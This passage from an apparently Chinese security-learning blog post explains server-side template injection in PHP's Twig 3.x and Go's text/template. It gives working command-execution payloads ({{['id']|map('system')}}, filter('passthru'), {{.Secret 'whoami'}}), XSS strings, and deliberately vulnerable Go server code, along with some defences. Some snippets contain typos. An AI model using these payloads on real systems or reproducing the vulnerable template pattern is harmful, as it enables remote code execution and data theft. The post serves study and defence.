return $filter;

}

}

return false;

}

public function registerUndefinedFilterCallback($callable)

{

$this->filterCallbacks[] = $callable;

}

更新到3.x版本,有很多地方进行了修复,比如上面的XSS和利用_self变量进行SSTI都失效了

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

但是根据官方文档新增了 filter 和 map 等内容

map

参考官方文档中的描述和map函数源码,拿一个poc举例子

function twig_array_map($array, $arrow)
{
    $r = [];
    foreach ($array as $k => $v) {
        $r[$k] = $arrow($v, $k);//$v 和 $k 分别是 $array 中的 value 和 key。
    }

    return $r;
}//借助这一点,可以不传入arrow函数,直接传入需要两个参数的危险函数直接命令执行
{{["id"]|map("system")}}

map$arrow$array是可控的,而我们可以不传arrow函数,直接传递需要两个参数的危险函数进行命令执行,比如systemexec等等,

而这个poc传入后,会被编译:

twig_array_map([0 => "id"], "sysetm")

在危险函数中shell_exec是不可以的,因为只能传一个字符串,

shell_exec(string $cmd):string
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
popen( string $command,string $mode)
exec ( string $command [, array &$output [, int &$return_var ]] ) : string

后面这四个是可以的。

filter

同样的方法,去看一下filter函数的源码

function twig_array_filter(Environment $env, $array, $arrow)
{
    if (!twig_test_iterable($array)) {
        throw new RuntimeError(sprintf('The "filter" filter expects an array or "Traversable", got "%s".', is_object($array) ? get_class($array) : gettype($array)));
    }

    twig_check_arrow_in_sandbox($env, $arrow, 'filter''filter');

    if (is_array($array)) {
        return array_filter($array, $arrow, ARRAY_FILTER_USE_BOTH);
    }//array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

    // the IteratorIterator wrapping is needed as some internal PHP classes are Traversable but do not implement Iterator
    return new CallbackFilterIterator(new IteratorIterator($array), $arrow);
}

不一样的地方是,我们只需传一个数组参数,array_filter 函数可以用回调函数过滤数组中的元素。

{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}} 

exec()也会执行commad命令,但是与system()的不同主要在于exec()并不会调用fork()产生新进程、暂停原命令来执行新命令,而是直接覆盖原命令,对返回值有影响,这与exec()函数原型有关:

string exec (string $command ,array $output ,int $return_var );

exec执行command命令时,不会输出全部结果,而是返回结果的最后一行,所以最后一个poc是没有回显的。

GO SSTI

Go SSTI Method Confusion (onsecurity.io)

Go中的SSTI方法混淆SSTI Method Confusion - 🔰雨苁ℒ🔰 (ddosi.org)

TQL!!!

Go的标准库里有两个模板引擎, 分别是text/templatehtml/template, 两者接口一致, 区别在于html/template一般用于生成HTML输出, 它会自动转义HTML标签, 用于防范如XSS这样的攻击。

与其他SSTI识别方法不同,运算符在{{}}中是非法的,因此需要使用其他的payload,如{{.}}占位符,如果存在SSTI,那么应当无回显。当然,点替换为任意字符串也可以。

编写如下代码来进行测试,引入了text/template,会导致SSTI漏洞出现

package main
import (
    "fmt"
    "net/http"
    "strings"
    "text/template"
)
type User struct {
    Id     int
    Name   string
    Passwd string
}
func StringTplExam(w http.ResponseWriter, r *http.Request) {
    user := &User{1"admin""123456"}
    r.ParseForm()
    arg := strings.Join(r.PostForm["name"], "")
    tpl1 := fmt.Sprintf(`<h1>Hi, ` + arg + `</h1> Your name is ` + arg + `!`)
    html, err := template.New("login").Parse(tpl1)
    html = template.Must(html, err)
    html.Execute(w, user)
}
func main() {
    server := http.Server{
        Addr: "127.0.0.1:8080",
    }
    http.HandleFunc("/login", StringTplExam)
    server.ListenAndServe()
}

使用了 模板&User ,这段代码在构建模版时,拼接了用户输入作为模板的内容,所以模版引擎没有对渲染的变量值进行编码和转义,利用这一点,向服务端传入js,仿造{{ .Name}}来构造{{.Passwd}}就会导致密码的泄露

XSS

借助Go模板提供的字符串打印功能,可以直接输出XSS语句,

{{"<script>alert(/xss/)</script>"}}
{{print "<script>alert(/xss/)</script>"}}

但是通过修改拼接方式也可以进行防御。

防御方法
一(自己想了一个可能)

其实和我之前在php上写的差不多,但是go语言中没有像php一样的get方法,我们可以自己写一个直接发送GET请求

var client = http.Client{
    Timeout: 10 * time.Second,
}

func HttpGetRequest(url string, result interface{}) error {
    resp, err := client.Get(url)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    decoder := json.NewDecoder(resp.Body)
    err = decoder.Decode(&result)

    return err
}

然后借用这个来实现与用户输入进行拼接,作为模版内容的一部分

二、更换模板

模板包html/template,自带转义效果,可以自动防止XSS

实现RCE

比如,这个例子引入了os.Open

func (c *context) File(file string) (err error) {
    f, err := os.Open(file)
    if err != nil {
        return NotFoundHandler(c)
    }
    defer f.Close()

    fi, _ := f.Stat()
    if fi.IsDir() {
        file = filepath.Join(file, indexPage)
        f, err = os.Open(file)
        if err != nil {
            return NotFoundHandler(c)
        }
        defer f.Close()
        if fi, err = f.Stat(); err != nil {
            return
        }
    }
    http.ServeContent(c.Response(), c.Request(), fi.Name(), fi.ModTime(), f)
    return
}

这个函数实际上接受一个名为file的字符串参数,它是打开和读取的。这可以很容易地验证,尽管需要对脚本进行一些细微的修改,特别是通过接受 Context 数据类型来执行模板,因为 File 是 Context 的一种方法。在测试环境中,c 已经是 Context 类型,所以我们只需要将变量 c 传递给 execute 函数。这意味着我们可以成功地利用这个小工具读取本地文件。

除了这个例子,我们还可以尝试在代码中引入"os/exec"

package main
import (
    "fmt"
    "net/http"
    "strings"
    "text/template"
)
type User struct {
    Id     int
    Name   string
    Passwd string
}
func StringTplExam(w http.ResponseWriter, r *http.Request) {
    user := &User{1"admin""123456"}
    r.ParseForm()
    arg := strings.Join(r.PostForm["name"], "")
    tpl1 := fmt.Sprintf(`<h1>Hi, ` + arg + `</h1> Your name is ` + arg + `!`)
    html, err := template.New("login").Parse(tpl1)
    html = template.Must(html, err)
    html.Execute(w, user)
}
func main() {
    server := http.Server{
        Addr: "127.0.0.1:8080",
    }
    http.HandleFunc("/login", StringTplExam)
    server.ListenAndServe()
}
func (u User) Secret(test string) string {
    out, _ := exec.Command(test).CombineOutput()
    return string(out)
}
name={{.Secret "whoami" }}

就可以实现命令执行了

RCE能够实现,其实就是借助引用了危险函数包,然后我们再构造恶意请求

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月4日05:14:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   皮蛋厂的学习日记 2022.03.03 JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)http://cn-sec.com/archives/813806.html

发表评论

匿名网友 填写信息